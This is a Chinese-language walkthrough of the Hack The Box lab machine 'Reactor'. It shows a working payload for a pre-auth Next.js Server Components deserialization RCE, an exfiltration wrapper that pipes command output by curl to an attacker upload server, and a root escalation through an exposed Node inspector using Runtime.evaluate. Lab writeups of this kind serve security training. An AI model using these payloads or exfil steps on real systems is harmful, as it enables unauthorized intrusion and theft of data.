Reactor — HTB Season 15

發布日期:2026/5/29

摘要: Reactor 是一台難易度適中的 Linux 系統(Ubuntu 24.04),相較於暴力破解,閱讀文件更能帶來收穫。偵察資訊較為稀少——常見的前 100 個開放埠似乎已被過濾,因此請擴大掃描範圍,並仔細留意在暴露服務上找到的每個版本字串;立足點是一個近期發現的框架層級預授權遠端執行(RCE)漏洞,該漏洞正好存在於該版本範圍內。概念驗證程式雖已公開,但該 RCE 原始指令對輸出有實際限制(換行符與引號會導致有效載荷失效),且目標系統的出站連線受限——常見的 4444/443/80 反向殼層會無聲終止,因此請在開始大量發送指令前,先規劃一條可靠的 I/O 通道。成功入侵後,暫且跳過 linpeas,先列出所有監聽埠和 systemd 單元檔案;權限提升的路徑就明明白白寫在單元的 User= 和 ExecStart= 行中,你會發現一個非常明顯的 Node 除錯旗標,且其輸出被綁定到迴路埠。利用此漏洞需要一點 Chrome DevTools Protocol(自製 WebSocket + Runtime.evaluate);請注意目標腳本是 ES 模組,因此 require 已不存在,而 await import() 會拋出錯誤——有一個經典的 Node 技巧可以繞過這點,一旦掌握,只需幾秒鐘即可完成。無需 AD、無需 Windows、無需暴力破解——只需具備 CVE 意識加上一點 Node.js 內部機制知識。請盡情享受。


Reactor — HTB Season 15

欄位 內容
Box Reactor
賽季 S15
難度 Medium
OS Linux (Ubuntu 24.04.4 LTS)
IP 10.129.7.252
User flag b7bdab96927c5234cd7a3b394d59737d
Root flag 2af6f2ab1a6699b475c4958390f24c9a

TL;DR

  1. 主機在 3000 port 上跑 ReactorWatch —— 一個 Next.js 15.0.3 的應用程式。
  2. Next.js 15.0.3 受 CVE-2025-55182 / CVE-2025-66478 影響:RSC(React Server Components)反序列化漏洞,透過帶 Next-Action header 的 multipart/form-data POST 即可未授權 RCE,落腳於低權限的 node 使用者。
  3. 列舉時發現第二個服務 uptime-monitor.serviceroot 身分執行,指令是 node --inspect=127.0.0.1:9229。Node Inspector 只綁在 loopback —— 但我們已經在機器內部。
  4. 用 Chrome DevTools Protocol 連上 ws://127.0.0.1:9229/<uuid>,呼叫 Runtime.evaluate 執行 process.mainModule.require('child_process').execSync(...),這段 JS 跑在 root context。
  5. 讀取 user.txtroot.txt

1. 偵察 (Reconnaissance)

1.1 Port 掃描

nmap -Pn -T4 --min-rate 1000 -F -oN nmap/quick.txt 10.129.7.252
# 100 個常見 port 全部 filtered

nmap -Pn -sT -T4 -p 21,22,53,80,443,1337,2222,3000,3306,5000,5432,5984,6379,7000,7070,7474,7687,8000,8008,8080,8081,8443,8888,9000,9090,9200,9300,11211,27017,50000 \
     -oN nmap/common-alt.txt 10.129.7.252
# 只有 22 與 3000 開放
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

1.2 服務指紋

nmap -Pn -sC -sV -p 22,3000 -oN nmap/services.txt 10.129.7.252

關鍵特徵:

22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    (Next.js)
        X-Powered-By: Next.js
        x-nextjs-cache: HIT

curl 根路徑可看到 ReactorWatch v3.2.1 儀表板 —— 一個由 Next.js SSR 的網頁應用。

2. 漏洞分析 —— CVE-2025-55182 / CVE-2025-66478

Next.js 的 React Server Components 流程在 request 含 Next-Action header 時會接受一份序列化的「model」資料。反序列化過程會把 _response._prefix 欄位裡的 JavaScript 表達式拿來編譯執行。利用 __proto__constructor:constructor 串接,最終取得 JavaScript 的 Function 建構子,於是 _prefix 字串會被當作程式碼直接在 Next.js Node worker 內執行。

  • 受影響版本: Next.js 13.x ~ 15.0.4(production mode)
  • 是否需登入: 不需要
  • 攻擊向量: 單一 POST / 請求,帶 Next-Action: x 與精心構造的 multipart body
  • 結果:next start 的執行身分達成任意指令執行

Assetnote 已發表技術細節,這裡採用其衍生版本的 PoC。

3. 取得 Foothold —— node 身分 RCE

3.1 Exploit 腳本

exploit/main.py 負責建構惡意 multipart payload,並解析回應中的 digest 欄位拿到輸出。Payload 重點:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('<CMD>',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:res});",
    "_chunks": "$Q2",
    "_formData": { "get": "$1:constructor:constructor" }
  }
}

執行結果會透過 500 回應裡的 error.digest 帶回。

python3 exploit/main.py http://10.129.7.252:3000 'id'
# [+] Command output:
# uid=999(node) gid=988(node) groups=988(node)

3.2 穩定的 I/O 通道

error.digest 不適合裝長字串(換行與引號會破壞 JSON)。我把這個 RCE primitive 用 exploit/rce.sh 包了一層:

  1. 把使用者輸入的 shell 指令 base64 編碼(避免引號地獄),
  2. 在受害機上執行 echo $B64 | base64 -d | bash > /tmp/o_<rand>.txt 2>&1
  3. curl -X POST 把檔案內容上傳到攻擊者本機的 exploit/upload_server.py(聽 8001),
  4. 本地端讀檔印出輸出。
./exploit/rce.sh 'cat /opt/reactor-app/.env'
# DB_PATH=/opt/reactor-app/reactor.db
# DB_TYPE=sqlite3
# SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
# ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# NODE_ENV=production

出站限制:實測時 4444 / 443 outbound 都打不通,傳統的 bash -i >& /dev/tcp/... 會靜默失敗。改走 HTTP upload server(port 8001)才穩定通。

4. 提權 —— noderoot 透過 Node Inspector

4.1 發現

./exploit/rce.sh 'ss -tlnp 2>/dev/null'
# LISTEN 0 511  127.0.0.1:9229  *:*
# LISTEN 0 511  *:3000          next-server (v1...
./exploit/rce.sh 'systemctl cat uptime-monitor.service'
[Service]
Type=simple
User=root
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

一個 root 身分的 Node process 把 V8 Inspector 開在 127.0.0.1:9229。Inspector 透過 WebSocket 走 Chrome DevTools Protocol —— 任何能連上這個 port 的 client 都能呼叫 Runtime.evaluate 在該 process 裡執行任意 JavaScript。我們在機器內部,loopback 不是限制。

4.2 取得 debug WebSocket URL

./exploit/rce.sh 'curl -s http://127.0.0.1:9229/json/list'
# "webSocketDebuggerUrl": "ws://127.0.0.1:9229/a5f4b187-181a-4e00-b662-e497f89a7883"

4.3 CDP client (exploit/cdp.py)

一個自包的 Python client,做的事:

  1. /json/list 拿到 WebSocket UUID,
  2. 開 raw TCP socket,手刻 WebSocket handshake(不用 websockets 套件),
  3. 送一個 CDP frame:
{"id":1,"method":"Runtime.evaluate",
 "params":{"expression":"<JS>","returnByValue":true,"awaitPromise":true}}
  1. 讀回應裡的 result.value
./exploit/rce.sh 'wget -q -O /tmp/cdp.py http://10.10.15.76:8001/cdp.py'

./exploit/rce.sh 'python3 /tmp/cdp.py "process.getuid()+\":\"+process.getgid()"'
# "result": { "type": "string", "value": "0:0" }

確認以 root 身分執行 code。

4.4 ESM 環境下的 require 小坑

worker.js 是 ES module,所以全域沒有 require,且 V8 sandbox 預設禁止 dynamic import()(會回 ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING)。繞法是用 process.mainModule.require:這是掛在主模組物件上的 CommonJS loader,即使 entry point 是 ESM,Node 在 bootstrap 階段仍會建立 main module 物件,所以這條路徑永遠可用。

./exploit/rce.sh 'python3 /tmp/cdp.py \
  "process.mainModule.require(\"child_process\").execSync(\"id; cat /home/engineer/user.txt /root/root.txt\").toString()"'
uid=0(root) gid=0(root) groups=0(root)
b7bdab96927c5234cd7a3b394d59737d
2af6f2ab1a6699b475c4958390f24c9a

5. 取得 Flag

user.txt -> b7bdab96927c5234cd7a3b394d59737d
root.txt -> 2af6f2ab1a6699b475c4958390f24c9a

兩個 flag 都用 POST /api/v4/machine/own(machine id=900)提交,回應 machine_pwned: true

6. 重點技巧與心得

  • RSC deserialization (CVE-2025-55182 / CVE-2025-66478) 一個 POST 就能在所有有問題的 Next.js 13–15 deployment 上 pre-auth RCE。修補方式是升版,或在 edge 把 Next-Action header 砍掉。
  • error.digest 當 exfil 通道 很脆弱 —— 引號跟換行會弄壞 JSON。在一次性 RCE 上加一層自己的 upload endpoint 是最穩的 I/O 包裝。
  • Production 上開 Node --inspect 等同把 root shell 留在 localhost。 即使綁在 loopback,只要主機上有任何指令執行就能升 root。正確做法是 production unit 完全不要 --inspect
  • **ESM 沒有 require**,但 process.mainModule.require('child_process') 可以用,因為 main module 物件仍是 CommonJS handle。對付任何現代 Node 服務都記得這條 fallback。
  • vm context 內 dynamic import 被預設關掉(除非註冊 importModuleDynamically callback),所以攻擊 inspector 時別浪費時間在 await import('child_process')
目錄